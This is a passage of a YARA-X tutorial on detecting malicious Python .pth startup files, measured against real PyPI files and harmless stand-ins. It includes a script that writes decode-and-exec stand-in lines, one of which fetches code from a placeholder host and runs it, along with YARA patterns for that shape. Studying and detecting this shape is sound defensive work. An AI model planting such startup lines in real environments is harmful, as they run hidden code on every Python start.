How to Write YARA Rules With YARA-X to Hunt Malicious Python .pth Startup Files and Measure False Positives Before You Trust Them
A hands-on YARA-X tutorial: write three versions of a rule for Python .pth startup lines, test them on 25 real files and 48,185 more, and prove your tests catch planted bugs.
Sooner or later every Python developer installs a package that turns out to be poisoned. In the two supply chain incidents we covered this autumn, a poisoned LiteLLM release and the Microsoft agent-framework releases, the attackers used a Python feature that many developers have never heard of: a tiny file with the extension .pth that makes Python run code every time it starts. You do not need to import the bad package. Starting Python is enough.
Table Of Content
- The words used in this tutorial
- What you need before you start
- Why .pth files are worth a rule
- Step 1: Install YARA-X
- Step 2: Write and run your first rule
- Step 3: Build a goodware corpus from real packages
- What the real files teach you
- Step 4: Make harmless stand-ins and look-alikes
- Step 5: Rule version 1, flag every import line
- Step 6: Rule version 2, an import line plus a decoder plus a runner
- Step 7: Rule version 3, keep every part on one line
- Check the rule on whole trees
- Step 8: Scan a real environment
- Scan only the files that matter
- Step 9: Read what the compiler tells you
- Step 10: Put the rules under test
- What the first run taught me
- Step 11: Check that the rules run on the original YARA too
- Common mistakes and how to check yourself
- Check that everything works end to end
- Where to go next
- Go after the second file
- Sources and tools
In this tutorial you will learn how to hunt for that kind of file with YARA, a pattern matching tool that security teams use to describe what a suspicious file looks like. You will install YARA-X, the current version of the tool, write your first rule, and then build three versions of a rule that looks for malicious Python startup lines. The important part is not the rule itself. It is the habit of measuring a rule before you trust it: you will test it against 25 real .pth files from the most downloaded Python packages, against 48,185 files in two real Python environments, and against a small set of harmless stand-ins that mimic an attack. You will then turn those checks into an automatic test suite and prove that the suite notices when someone breaks a rule.
By the end you will be able to:
- install YARA-X and run a rule against a file or a whole folder;
- read and write the three parts of a rule: metadata, strings and a condition;
- keep a match on one line of a file instead of anywhere in it, which is the difference between a noisy rule and a usable one;
- measure false positives (clean files flagged) and false negatives (bad files missed) before a rule goes anywhere near a real scan;
- read the compiler’s warnings and errors, and put your rules under pytest with planted bugs to prove the tests work.
Nothing in this tutorial uses or downloads malware. The “bad” files are stand-ins that only print a sentence, and you never run them. If you want the background on what .pth files are and how to audit them with a Python script instead, our earlier tutorial How to Audit Python .pth Startup Hooks and Migrate to Python 3.15 .start Files covers it. This one is about YARA, which also works on files that are not Python at all.
The words used in this tutorial
A YARA rule is a short text description of a file. It has an optional meta section (a label and a note for humans), a strings section (the byte patterns or text to look for, each named with a dollar sign, such as $marker) and a condition (a yes-or-no expression built from those strings). When the condition is true for a file, the rule matches that file. A false positive is a clean file that matches. A false negative is a bad file that does not. A goodware corpus is a collection of files you know are fine, used to count false positives. A stand-in is a harmless file made to look like an attack, used to count false negatives.
Two versions of YARA exist. The original now carries this notice at the top of its README: “This project is in maintenance mode.” Its successor, YARA-X, is a new incarnation of the tool, and its README describes the goal like this: “This new incarnation intends to be faster, safer and more user-friendly than its predecessor. The ultimate goal of YARA-X is replacing YARA as the default pattern matching tool for malware researchers.” You will use YARA-X (command name yr) for everything here. In Steps 7 and 11 you will also run the same rules on the original engine to check that they behave the same.
What you need before you start
I ran everything on Windows 11 on November 21, 2026, with YARA-X 1.24.0 (released the day before), Python 3.13.14, yara-python 4.5.4 (the original engine), pytest 9.2.0 and requests. You need Windows PowerShell or any shell, Python 3.13, about 100 MB of free disk space and an internet connection for the corpus step. The commands are written for PowerShell. On Linux or macOS, change the backslashes in paths to forward slashes; check the YARA-X release page for builds for other systems, because I only tested the Windows build. You need no earlier knowledge of YARA or of regular expressions, and each regular expression below is explained piece by piece.
One safety rule: scan folders you own or have permission to scan, and never run a file just because a rule flagged it. A match is a lead for a person to look at, not a verdict.
Why .pth files are worth a rule
When Python starts, its site module reads every .pth file in the site-packages folder. Most lines in such a file are folder names that get added to the import path. But the Python documentation also says this: “Lines starting with import (followed by space or tab) are executed.” and warns that “An executable line in a .pth file is run at every Python startup, regardless of whether a particular module is actually going to be used.” Legitimate packages use this for small jobs, and you will see real examples in Step 3. A poisoned package uses the same door to run a payload on every start of every Python program that uses that environment, which is why a one-line .pth file is such an attractive hiding place. Be clear about what the real incidents looked like, though. According to our LiteLLM report, the .pth file there was 12 bytes, the text import cook, and the payload sat in two other files that Python then loaded. In the agent-framework report the two .pth files were one line each, 28 and 23 bytes long, far too small to hold a payload themselves. A line that short looks just like the harmless ones you will see in Step 3, so no rule that reads only the .pth file would have caught those two. The rule you are about to write targets the other shape that this feature allows: a self-contained line that starts with import, decodes hidden data and runs it, with nothing else to download. That shape is easy to describe and easy to get wrong, which makes it a good vehicle for learning YARA, and the end of the tutorial shows how to go after the two-file shape too.
Step 1: Install YARA-X
You need two things: the yr command-line tool, which you will use to scan, and the Python package yara-x, which your test scripts will use. The tool is a single file in a zip archive on the project’s release page. These commands download it, unpack it into a tools folder, put that folder on the PATH for this session, and create a virtual environment with every Python package this tutorial uses.
mkdir yara-lab; cd yara-lab
Invoke-WebRequest https://github.com/VirusTotal/yara-x/releases/download/v1.24.0/yara-x-v1.24.0-x86_64-pc-windows-msvc.zip -OutFile yr.zip
Expand-Archive yr.zip -DestinationPath tools
$env:PATH = "$PWD\tools;$env:PATH"
python -m venv venv
.\venv\Scripts\python -m pip install yara-x==1.24.0 yara-python==4.5.4 pytest requests
Check that both parts work. The second command asks Python which versions it installed:
yr --version
.\venv\Scripts\python -c "import importlib.metadata as m, sys; print('Python', sys.version.split()[0]); print('yara-x', m.version('yara-x')); print('yara-python', m.version('yara-python')); print('pytest', m.version('pytest'))"
yara-x-cli 1.24.0
Python 3.13.14
yara-x 1.24.0
yara-python 4.5.4
pytest 9.2.0
The first line is the command-line tool, and the next four are the Python side. If yr is not found, the PATH line did not take effect in this window; run it again. Typing yr --help lists the subcommands you will use or meet in this tutorial: scan to run rules, compile to build rules into a binary file, fmt to format rule files and fix for utilities that repair rule source code. Version 1.24.0 has no separate check command, so a plain scan is how you find out whether a rule compiles.
Step 2: Write and run your first rule
Start with the smallest rule that does something. Save this as rules\step02_hello.yar. It has a label in meta, one string named $marker, and a condition that says the rule matches when that string appears anywhere in a file.
rule hello_marker
{
meta:
description = "Matches any file that contains the demo marker text"
strings:
$marker = "SXZ-YARA-DEMO"
condition:
$marker
}
Now make a small test file. Python writes exactly the bytes you ask for, which keeps the offsets in the next output stable on any system:
mkdir samples\misc
.\venv\Scripts\python -c "open('samples/misc/hello.txt', 'w', newline='\n').write('first line\nthis file mentions SXZ-YARA-DEMO once\nlast line\n')"
yr scan rules\step02_hello.yar samples\misc\hello.txt
hello_marker samples\misc\hello.txt
The output is one line per match: the rule name, then the file. Silence means no match, which is easy to miss, so remember it. Add -s to see why the rule matched:
yr scan -s rules\step02_hello.yar samples\misc\hello.txt
hello_marker samples\misc\hello.txt
0x1e:13:$marker: SXZ-YARA-DEMO
The second line reads as: at offset 0x1e (byte 30, counting from zero), 13 bytes long, string $marker, with the matched text SXZ-YARA-DEMO. Count it yourself: the first line is “first line” plus a newline, which is 11 bytes, and “this file mentions ” is 19 more, so the marker starts at byte 30. A match with offsets is the first thing you check when a rule fires on something unexpected.
Step 3: Build a goodware corpus from real packages
A rule that catches your bad samples proves very little. Almost any rule can do that. The question that matters is how many innocent files it flags, and for that you need innocent files. The best ones are real: the .pth files that popular packages ship.
The script below reads a public list of the most downloaded PyPI packages (my copy was last updated on 2026-11-01), asks PyPI for the newest wheel of each package, and saves every .pth file inside it. A wheel is a zip archive, and a zip archive keeps its table of contents at the end, so the script uses HTTP range requests to download only the last 256 KB plus the few bytes of each .pth file. That is why the survey can look at 4,000 packages without downloading 4,000 whole wheels. You can skip this step and use the .pth files already on your computer (search your site-packages folders), but a bigger sample shows more surprises.
# fetch_corpus.py
"""Save every .pth file shipped in the newest wheel of the top N PyPI packages.
Only the end of each wheel is downloaded (HTTP Range requests), so a survey of 4,000 packages
does not have to fetch 4,000 whole wheels. Usage: python fetch_corpus.py 4000
"""
import concurrent.futures as cf
import hashlib
import json
import os
import sys
import threading
import zipfile
import requests
LIST_URL = "https://hugovk.github.io/top-pypi-packages/top-pypi-packages.min.json"
HEADERS = {"User-Agent": "pth-corpus-survey/1.0 (educational script)", "Accept-Encoding": "identity"}
OUT = os.path.join("corpus", "goodware")
LOCAL = threading.local()
class RemoteFile:
"""A read-only, seekable file made of HTTP Range requests, so zipfile can open a wheel without fetching all of it."""
def __init__(self, url, session, size, tail=1 << 18):
self.url, self.session, self.size, self.pos = url, session, size, 0
self.start = max(0, size - tail) # the zip index lives in the last bytes of the file
reply = session.get(url, headers={"Range": f"bytes={self.start}-{size - 1}"}, timeout=30)
reply.raise_for_status()
if reply.status_code == 200: # the server ignored Range and sent everything
self.start = 0
self.cache = reply.content
def seekable(self):
return True
def tell(self):
return self.pos
def seek(self, offset, whence=0):
self.pos = offset if whence == 0 else self.pos + offset if whence == 1 else self.size + offset
return self.pos
def read(self, n=-1):
end = self.size if n is None or n < 0 else min(self.pos + n, self.size)
if self.start <= self.pos and end <= self.start + len(self.cache):
data = self.cache[self.pos - self.start:end - self.start]
else:
reply = self.session.get(self.url, headers={"Range": f"bytes={self.pos}-{end - 1}"}, timeout=30)
reply.raise_for_status()
data = reply.content
self.pos += len(data)
return data
def pick_wheel(files):
"""One wheel stands for the package: pure Python first, then a Windows or Linux x86-64 build."""
wheels = [f for f in files if f["packagetype"] == "bdist_wheel" and not f.get("yanked")]
def rank(f):
name = f["filename"]
if name.endswith("-none-any.whl"):
return 0
if "-cp313-" in name and "win_amd64" in name:
return 1
if "-abi3-" in name and "win_amd64" in name:
return 2
if "manylinux" in name and "x86_64" in name:
return 3
return 4
return min(wheels, key=rank) if wheels else None
def one(rank, project):
if not hasattr(LOCAL, "session"):
LOCAL.session = requests.Session()
LOCAL.session.headers.update(HEADERS)
session = LOCAL.session
row = {"rank": rank, "project": project, "files": []}
try:
reply = session.get(f"https://pypi.org/pypi/{project}/json", timeout=30)
if reply.status_code != 200:
row["error"] = f"PyPI answered {reply.status_code}"
return row
data = reply.json()
row["version"] = data["info"]["version"]
wheel = pick_wheel(data["urls"])
row["wheel"] = wheel["filename"] if wheel else None
if not wheel:
return row
with zipfile.ZipFile(RemoteFile(wheel["url"], session, wheel["size"])) as zf:
for member in zf.namelist():
base = member.rsplit("/", 1)[-1]
if base.endswith(".pth") and not base.startswith("."):
blob = zf.read(member)
saved_as = f"{rank:05d}_{project}__{base}"
with open(os.path.join(OUT, saved_as), "wb") as handle:
handle.write(blob)
row["files"].append({"member": member, "saved_as": saved_as, "size": len(blob),
"sha256": hashlib.sha256(blob).hexdigest()})
except Exception as exc: # one broken package must not stop the survey
row["error"] = repr(exc)[:120]
return row
def main(count):
os.makedirs(OUT, exist_ok=True)
listing = requests.get(LIST_URL, headers=HEADERS, timeout=60).json()
rows = listing["rows"][:count]
with cf.ThreadPoolExecutor(14) as pool:
results = sorted(pool.map(lambda item: one(item[0] + 1, item[1]["project"]), enumerate(rows)),
key=lambda r: r["rank"])
ok = [r for r in results if "error" not in r]
print(f"top-pypi list updated {listing['last_update']}; packages asked: {len(results)}")
print(f"lookup errors: {len(results) - len(ok)} | no wheel: {sum(1 for r in ok if not r['wheel'])}")
print(f"packages whose newest wheel ships a .pth file: {sum(1 for r in ok if r['files'])}")
print(f".pth files saved: {sum(len(r['files']) for r in ok)}")
with open(os.path.join("corpus", "manifest.json"), "w", encoding="utf-8") as out:
json.dump({"updated": listing["last_update"], "rows": results}, out, indent=1)
if __name__ == "__main__":
main(int(sys.argv[1]) if len(sys.argv) > 1 else 4000)
Run it with python fetch_corpus.py 4000. It finished in under two minutes on my connection, and a repeat run a few minutes later took less than half a minute:
top-pypi list updated 2026-11-01 06:41:05; packages asked: 4000
lookup errors: 1 | no wheel: 114
packages whose newest wheel ships a .pth file: 22
.pth files saved: 26
Of 4,000 packages, 114 had no wheel at all, one lookup failed, and 22 shipped at least one .pth file. That is only about half a percent of the most popular packages, which is itself a useful fact: a .pth file is rare enough that a new one deserves a look. The script found 26 files; the pynvml wheel contains two files with the same name in different folders, so 25 distinct files were saved under corpus\goodware. This second small script prints one row per file, so you can see what “normal” looks like:
"""corpus_report.py: one row per real .pth file in the goodware corpus."""
import glob
import os
import re
print(f"{'package':<26} {'file':<34} {'bytes':>6} {'import lines':>12} {'longest import line':>20} {'longest base64-like run':>24}")
for path in sorted(glob.glob(os.path.join("corpus", "goodware", "*.pth"))):
with open(path, "rb") as handle:
data = handle.read()
lines = data.decode("utf-8", "replace").splitlines()
imports = [line for line in lines if line.startswith(("import ", "import\t"))]
package, _, file_name = os.path.basename(path)[6:].partition("__")
runs = [len(run) for line in imports for run in re.findall(r"[A-Za-z0-9+/]+", line)]
print(f"{package[:26]:<26} {file_name[:34]:<34} {len(data):>6} {len(imports):>12} {max((len(l) for l in imports), default=0):>20} {max(runs, default=0):>24}")
package file bytes import lines longest import line longest base64-like run
setuptools distutils-precedence.pth 151 1 150 10
coverage a1_coverage.pth 205 1 204 8
google-cloud-aiplatform google_cloud_aiplatform-2.10.0-py3 1015 2 547 10
coloredlogs coloredlogs.pth 147 1 146 11
pywin32 pywin32.pth 185 1 24 9
snowflake-snowpark-python snowflake_snowpark_python-1.58.0-p 482 1 481 10
torchmetrics alex.pth 6009 0 0 0
torchmetrics squeeze.pth 10811 0 0 0
torchmetrics vgg.pth 7289 0 0 0
google-generativeai google_generativeai-0.8.6-py3.13-n 467 1 466 10
acryl-datahub datahub_force_pure_python_sqlglot. 42 1 41 7
acryl-datahub datahub_setproctitle_patch.pth 35 1 34 12
functions-framework functions_framework-3.10.2-py3.12- 1015 2 547 10
nvidia-cutlass-dsl nvidia_cutlass_dsl_packages.pth 116 1 116 8
pip-system-certs pip_system_certs.pth 115 1 114 9
ibm-db ibm_db_dll.pth 29 1 27 8
pastedeploy PasteDeploy-3.1.0-py3.11-nspkg.pth 534 1 533 10
pynvml _pynvml_redirector.pth 166 1 25 10
snowflake-legacy snowflake.pth 585 1 143 9
urllib3-future urllib3_future.pth 4801 1 4800 19
intuit-oauth intuit_oauth-1.2.7-py3.14-nspkg.pt 482 1 481 10
pdbpp pdbpp_hijack_pdb.pth 799 1 229 8
cmeel cmeel.pth 17 1 16 6
testing-common-database testing.common.database-2.0.3-py3. 1720 3 631 10
modin modin-autoimport-pandas.pth 88 1 87 10
Read the table before you write a single rule, because it contradicts a few easy assumptions.
What the real files teach you
First, 22 of the 25 files have an import line, so “has an import line” describes normal files, not suspicious ones. Second, legitimate code uses the very words an attacker would use. The coverage package ships import sys; exec('import os ... and coloredlogs ships import os; exec('try: ..., so a rule that flags every exec( would flag two of the most popular developer tools. Third, a long line is not suspicious by itself: the urllib3-future file is one import line of 4,800 characters: 600 of them are an English explanation of why the file exists, and the rest is code that works with package folders in site-packages. The longest run of base64-looking characters on any import line in the whole corpus is 19, which you will use in Step 7 to choose a threshold with a large safety margin. Fourth, three of the files are not Python startup files at all. The three torchmetrics files are model weights: the first one I opened starts with the bytes of a pickle stream, and none of them has an import line. The extension .pth means “a folder list” to Python and “a model checkpoint” to PyTorch, and checkpoints can be very large. You will see how to skip big files in Step 8. Fifth, tiny import lines are common: cmeel.pth is 17 bytes and ibm_db_dll.pth is 29, each one line that imports a helper module. That is why no rule can flag a short import line without burying you in false positives. If you ever load such checkpoints in Python, our tutorial on stopping pickle deserialization attacks explains the separate risk they carry.
Step 4: Make harmless stand-ins and look-alikes
Now you need files that should match, and files that look similar but should not. The script below writes 12 stand-ins and 7 look-alikes. Wherever a stand-in carries code, that code is a one-line print of the sentence “stand-in payload: this line only prints”, hidden with the usual tricks (base64, zlib, hexadecimal, marshal). The stand-ins use the self-contained shape described earlier: one line that starts with import, decodes a blob and runs it, and nothing more. I made up the details, so they test your rule, not the real incidents. The look-alikes are there to catch rules that are too eager.
"""make_samples.py: write harmless stand-in .pth files for the lab. Nothing here is ever run.
Every payload only prints a sentence. The stand-ins copy the *shape* that public reports describe
(one long line that starts with import, decodes a blob and runs it), not any real malware.
"""
import base64
import marshal
import os
import random
import zlib
ROOT = "samples"
PAYLOAD = "print('stand-in payload: this line only prints')"
def put(group, name, text):
folder = os.path.join(ROOT, group)
os.makedirs(folder, exist_ok=True)
with open(os.path.join(folder, name), "w", newline="\n", encoding="utf-8") as handle:
handle.write(text)
b64 = base64.b64encode(PAYLOAD.encode()).decode()
zb64 = base64.b64encode(zlib.compress(PAYLOAD.encode())).decode()
hexed = PAYLOAD.encode().hex()
mb64 = base64.b64encode(marshal.dumps(compile(PAYLOAD, "<stand-in>", "exec"))).decode()
rng = random.Random(7)
blob = base64.b64encode(bytes(rng.randrange(256) for _ in range(300))).decode() # 400 characters, no decoder word near it
# --- stand-ins that SHOULD match ---------------------------------------------------------------
put("should_match", "m01_b64_exec.pth", f"import base64;exec(base64.b64decode('{b64}'))\n")
put("should_match", "m02_zlib_b64_exec.pth", f"import base64,zlib;exec(zlib.decompress(base64.b64decode('{zb64}')))\n")
put("should_match", "m03_hex_exec.pth", f"import sys;exec(bytes.fromhex('{hexed}').decode())\n")
put("should_match", "m04_marshal_exec.pth", f"import marshal,base64;exec(marshal.loads(base64.b64decode('{mb64}')))\n")
put("should_match", "m05_python_c_dropper.pth",
f"import subprocess,base64;subprocess.Popen(['python','-c',base64.b64decode('{b64}').decode()])\n")
put("should_match", "m06_fetch_and_exec.pth",
"import urllib.request,zlib;exec(zlib.decompress(urllib.request.urlopen('http://stage2.invalid/p').read()))\n")
put("should_match", "m07_two_lines_second_is_bad.pth", f"/opt/app/lib\nimport base64;exec(base64.b64decode('{b64}'))\n")
put("should_match", "m08_crlf_line_endings.pth", f"import base64;exec(base64.b64decode('{b64}'))\r\n")
put("should_match", "m11_tab_after_import.pth", f"import\tbase64;exec(base64.b64decode('{b64}'))\n")
put("should_match", "m12_eval_unhexlify.pth", f"import binascii;eval(binascii.unhexlify('{hexed}'))\n")
# these two are meant to slip past the decode-and-run rule; the blob rule or nothing has to catch them
put("should_match", "m09_blob_only.pth", f"import sys;payload='{blob}'\n")
put("should_match", "m10_split_name.pth",
f"import builtins,base64;getattr(builtins,'ex'+'ec')(base64.b64decode('{b64}'))\n")
# --- look-alikes that should NOT match ----------------------------------------------------------
put("should_not_match", "n01_paths_only.pth", "/opt/app/lib\n/opt/app/vendor\n")
put("should_not_match", "n02_editable_finder.pth", "import __editable___demo_finder; __editable___demo_finder.install()\n")
put("should_not_match", "n03_comment_names_the_attack.pth",
"# Never write: import base64;exec(base64.b64decode('...')) in a .pth file\n/opt/app/lib\n")
put("should_not_match", "n04_coverage_style.pth",
"import sys; exec('import os\\nif os.getenv(\"COVERAGE_PROCESS_START\"):\\n import coverage\\n coverage.process_startup()')\n")
put("should_not_match", "n05_decoder_without_runner.pth",
f"import base64; token = base64.b64decode('{b64}')\n")
put("should_not_match", "n06_runner_on_another_line.pth",
f"import base64\nTOKEN = base64.b64decode('{b64}')\nexec('print(1)')\n")
put("should_not_match", "n07_long_prose_line.pth",
"import os; why = \"" + ("this long sentence explains why the file exists and has plenty of spaces. " * 8) + "\"\n")
for group in ("should_match", "should_not_match"):
print(f"--- {group}")
for name in sorted(os.listdir(os.path.join(ROOT, group))):
with open(os.path.join(ROOT, group, name), encoding="utf-8", newline="") as handle:
text = handle.read()
shown = text.splitlines()[-1] if name.startswith("m07") else text.splitlines()[0]
print(f"{name:<36} {len(text):>4} B {shown.replace(chr(9), '<TAB>')[:84]}")
Run python make_samples.py. It prints the first line of each file, cut to 84 characters:
--- should_match
m01_b64_exec.pth 105 B import base64;exec(base64.b64decode('cHJpbnQoJ3N0YW5kLWluIHBheWxvYWQ6IHRoaXMgbGluZSB
m02_zlib_b64_exec.pth 135 B import base64,zlib;exec(zlib.decompress(base64.b64decode('eJwrKMrMK9FQLy5JzEvRzcxTKE
m03_hex_exec.pth 140 B import sys;exec(bytes.fromhex('7072696e7428277374616e642d696e207061796c6f61643a20746
m04_marshal_exec.pth 280 B import marshal,base64;exec(marshal.loads(base64.b64decode('YwAAAAAAAAAAAAAAAAMAAAAAA
m05_python_c_dropper.pth 153 B import subprocess,base64;subprocess.Popen(['python','-c',base64.b64decode('cHJpbnQoJ
m06_fetch_and_exec.pth 107 B import urllib.request,zlib;exec(zlib.decompress(urllib.request.urlopen('http://stage
m07_two_lines_second_is_bad.pth 118 B import base64;exec(base64.b64decode('cHJpbnQoJ3N0YW5kLWluIHBheWxvYWQ6IHRoaXMgbGluZSB
m08_crlf_line_endings.pth 106 B import base64;exec(base64.b64decode('cHJpbnQoJ3N0YW5kLWluIHBheWxvYWQ6IHRoaXMgbGluZSB
m09_blob_only.pth 422 B import sys;payload='pU3KGCUwux1tEyze1iN7LtkeP3IfyxlxF0SU1kk8nVw0YL4xIB5p/tqg7ui5mX9c
m10_split_name.pth 137 B import builtins,base64;getattr(builtins,'ex'+'ec')(base64.b64decode('cHJpbnQoJ3N0YW5
m11_tab_after_import.pth 105 B import<TAB>base64;exec(base64.b64decode('cHJpbnQoJ3N0YW5kLWluIHBheWxvYWQ6IHRoaXMgbGl
m12_eval_unhexlify.pth 141 B import binascii;eval(binascii.unhexlify('7072696e7428277374616e642d696e207061796c6f6
--- should_not_match
n01_paths_only.pth 29 B /opt/app/lib
n02_editable_finder.pth 68 B import __editable___demo_finder; __editable___demo_finder.install()
n03_comment_names_the_attack.pth 87 B # Never write: import base64;exec(base64.b64decode('...')) in a .pth file
n04_coverage_style.pth 118 B import sys; exec('import os\nif os.getenv("COVERAGE_PROCESS_START"):\n import covera
n05_decoder_without_runner.pth 108 B import base64; token = base64.b64decode('cHJpbnQoJ3N0YW5kLWluIHBheWxvYWQ6IHRoaXMgbGl
n06_runner_on_another_line.pth 124 B import base64
n07_long_prose_line.pth 612 B import os; why = "this long sentence explains why the file exists and has plenty of
Notice what each file is for. m07 has a path on its first line and the attack on its second, so a rule must find import lines anywhere in the file. m08 uses Windows line endings. m11 has a tab after import instead of a space, which Python also accepts. m09 hides its data as a plain 400-character string with no decoder word at all. m10 writes the word exec in two halves, 'ex'+'ec', and is included on purpose as a file I expect my final rule to miss. Among the look-alikes, n03 is a comment that warns against the attack and n06 has the decoder and the runner on different lines, so nothing there runs a decoded blob.
Step 5: Rule version 1, flag every import line
The simplest rule follows the documentation quote from earlier. Save it as rules\step04_v1_any_import.yar:
rule pth_import_line_v1
{
meta:
description = "Version 1: any line that starts with import"
strings:
// site.py runs a .pth line that starts with "import" plus a space or a tab
$import_line = /(^|\n)import[ \t]/
condition:
$import_line
}
The string here is a regular expression, written between slashes. Read it from left to right. (^|\n) means “the start of the file, or a newline”, which is how you say “the start of a line”. import is literal text. [ \t] means one character, either a space or a tab, matching the documentation’s “followed by space or tab”. The condition is just $import_line, so the rule matches any file with at least one such line. Run it on the look-alikes:
yr scan -r rules\step04_v1_any_import.yar samples\should_not_match
pth_import_line_v1 samples\should_not_match\n06_runner_on_another_line.pth
pth_import_line_v1 samples\should_not_match\n07_long_prose_line.pth
pth_import_line_v1 samples\should_not_match\n04_coverage_style.pth
pth_import_line_v1 samples\should_not_match\n02_editable_finder.pth
pth_import_line_v1 samples\should_not_match\n05_decoder_without_runner.pth
The -r flag tells yr to go into subfolders. Five of the seven look-alikes were flagged, including the editable-install file and the coverage-style file, which are exactly the kind of file a real machine is full of. The table in Step 7 shows the damage on real files. Version 1 is a good first draft and a bad rule.
Step 6: Rule version 2, an import line plus a decoder plus a runner
A malicious startup line does two things: it decodes hidden data and it runs the result. So version 2 asks for an import line, and any word that decodes, and any word that runs. Save it as rules\step05_v2_file_level.yar:
rule pth_decode_and_run_v2
{
meta:
description = "Version 2: an import line, a decoder word and a runner word, anywhere in the file"
strings:
$import_line = /(^|\n)import[ \t]/
$decode1 = "b64decode"
$decode2 = "fromhex"
$decode3 = "decompress"
$decode4 = "marshal.loads"
$run1 = "exec("
$run2 = "eval("
$run3 = "Popen("
$run4 = "urlopen("
condition:
$import_line and any of ($decode*) and any of ($run*)
}
Two new ideas appear. The strings $decode1 to $decode4 form a family, and any of ($decode*) in the condition means “at least one string whose name starts with $decode”. The condition uses and exactly as you would in Python, so all three groups must be present. I will call this a file-level rule, because every part of the condition is checked against the whole file, not against one line.
On the real .pth files this version looks perfect, as the table in the next step will show: not one of the 25 is flagged. The trouble appears when you point it at more files. Here is the same rule over the Python 3.13 installation on this PC, standard library and site-packages together, 17,224 files in all:
yr scan -r rules\step05_v2_file_level.yar C:\Python313\Lib
pth_decode_and_run_v2 C:\Python313\Lib\site-packages\PIL\GifImagePlugin.py
pth_decode_and_run_v2 C:\Python313\Lib\site-packages\PIL\Image.py
pth_decode_and_run_v2 C:\Python313\Lib\site-packages\numpy\_core\tests\test_arrayprint.py
pth_decode_and_run_v2 C:\Python313\Lib\site-packages\numpy\_core\tests\test_umath.py
pth_decode_and_run_v2 C:\Python313\Lib\site-packages\numpy\lib\_npyio_impl.py
pth_decode_and_run_v2 C:\Python313\Lib\site-packages\playwright\driver\node.exe
pth_decode_and_run_v2 C:\Python313\Lib\site-packages\playwright\driver\package\lib\coreBundle.js
pth_decode_and_run_v2 C:\Python313\Lib\site-packages\pygments\lexers\special.py
pth_decode_and_run_v2 C:\Python313\Lib\site-packages\reportlab\lib\utils.py
pth_decode_and_run_v2 C:\Python313\Lib\zipimport.py
Ten files were flagged. They are ordinary files from well-known packages, not malware: numpy, Pillow, pygments, reportlab, a Playwright JavaScript bundle, Python’s own zipimport.py and even node.exe, a compiled program that happens to contain the words. YARA knows nothing about file types; it reads bytes. Because the three groups can sit anywhere in the file, any large file that has an import line somewhere, the word b64decode somewhere else and the word exec( in a third place qualifies. Version 2 also misses three stand-ins (the table below shows which), because its lists of words are shorter than the attacker’s choices.
Step 7: Rule version 3, keep every part on one line
The fix is to say that the import, the decoder and the runner must all sit on the same line. YARA has no “same line” operator, but a regular expression can do it: if the pattern is not allowed to cross a newline, every part of the match is on one line. Save this as rules\step06_v3_line_scoped.yar:
rule pth_import_line_decodes_and_runs
{
meta:
description = "One line that starts with import, decodes data and runs something"
author = "sxz.io lab"
date = "2026-11-21"
reference = "https://docs.python.org/3/library/site.html"
strings:
// [^\n]* keeps every part of the match on ONE line: the line starts with import,
// then a decoder and a runner appear in either order before the line ends
$decode_then_run = /(^|\n)import[ \t][^\n]*(b64decode|fromhex|unhexlify|decompress|marshal\.loads)[^\n]*(exec|eval|compile|Popen|urlopen)[^\n]*/
$run_then_decode = /(^|\n)import[ \t][^\n]*(exec|eval|compile|Popen|urlopen)[^\n]*(b64decode|fromhex|unhexlify|decompress|marshal\.loads)[^\n]*/
condition:
any of them
}
rule pth_import_line_with_encoded_blob
{
meta:
description = "An import line that carries 200 or more base64-looking characters in a row"
author = "sxz.io lab"
date = "2026-11-21"
strings:
$blob_on_import_line = /(^|\n)import[ \t][^\n]*[A-Za-z0-9+\/]{200,}={0,2}/
condition:
$blob_on_import_line
}
The key piece is [^\n]*. The square brackets with a caret mean “any character except those listed”, here the newline, and the star means “as many as you like, including none”. So import[ \t][^\n]*(b64decode|...) reads as: a line start, the word import, a space or tab, then any run of characters that stays on the line, then one of the decoder words. The runner words come after another [^\n]*, and the second pattern repeats the idea with the order swapped, because exec(base64.b64decode(...)) puts the runner before the decoder while other attacks do the opposite. The condition: any of them line accepts either order.
The second rule, pth_import_line_with_encoded_blob, catches stand-ins that hide data without a decoder word on the line. It flags an import line that contains 200 or more base64-looking characters in a row ({200,} means “200 or more”). The longest such run in the real corpus is 19, so 200 leaves a margin of more than ten times. You now have the three versions, so score them. This script runs every version over every stand-in, look-alike and real file, and prints a table:
"""score_rules.py: run every rule version over the stand-ins, the look-alikes and the real corpus, and print a table."""
import glob
import os
import yara_x
VERSIONS = [
("v1", os.path.join("rules", "step04_v1_any_import.yar")),
("v2", os.path.join("rules", "step05_v2_file_level.yar")),
("v3", os.path.join("rules", "step06_v3_line_scoped.yar")),
]
def load(path):
with open(path, encoding="utf-8") as handle:
return yara_x.compile(handle.read())
def hit(scanner, path):
return bool(scanner.scan_file(path).matching_rules)
scanners = {name: yara_x.Scanner(load(path)) for name, path in VERSIONS}
bad = sorted(glob.glob(os.path.join("samples", "should_match", "*.pth")))
good = sorted(glob.glob(os.path.join("samples", "should_not_match", "*.pth")))
corpus = sorted(glob.glob(os.path.join("corpus", "goodware", "*.pth")))
print(f"{'sample':<40} {'expect':<8} " + " ".join(f"{name:<4}" for name, _ in VERSIONS))
for path in bad + good:
expect = "match" if path in bad else "clean"
cells = " ".join(f"{('MATCH' if hit(scanners[name], path) else '-'):<5}" for name, _ in VERSIONS)
print(f"{os.path.basename(path):<40} {expect:<8} {cells}")
print()
print(f"{'version':<8} {'stand-ins caught':<18} {'look-alikes flagged':<21} real .pth files flagged")
for name, _ in VERSIONS:
caught = sum(hit(scanners[name], p) for p in bad)
flagged = sum(hit(scanners[name], p) for p in good)
real = sum(hit(scanners[name], p) for p in corpus)
print(f"{name:<8} {caught:>2} of {len(bad):<13} {flagged:>2} of {len(good):<16} {real:>2} of {len(corpus)}")
sample expect v1 v2 v3
m01_b64_exec.pth match MATCH MATCH MATCH
m02_zlib_b64_exec.pth match MATCH MATCH MATCH
m03_hex_exec.pth match MATCH MATCH MATCH
m04_marshal_exec.pth match MATCH MATCH MATCH
m05_python_c_dropper.pth match MATCH MATCH MATCH
m06_fetch_and_exec.pth match MATCH MATCH MATCH
m07_two_lines_second_is_bad.pth match MATCH MATCH MATCH
m08_crlf_line_endings.pth match MATCH MATCH MATCH
m09_blob_only.pth match MATCH - MATCH
m10_split_name.pth match MATCH - -
m11_tab_after_import.pth match MATCH MATCH MATCH
m12_eval_unhexlify.pth match MATCH - MATCH
n01_paths_only.pth clean - - -
n02_editable_finder.pth clean MATCH - -
n03_comment_names_the_attack.pth clean - - -
n04_coverage_style.pth clean MATCH - -
n05_decoder_without_runner.pth clean MATCH - -
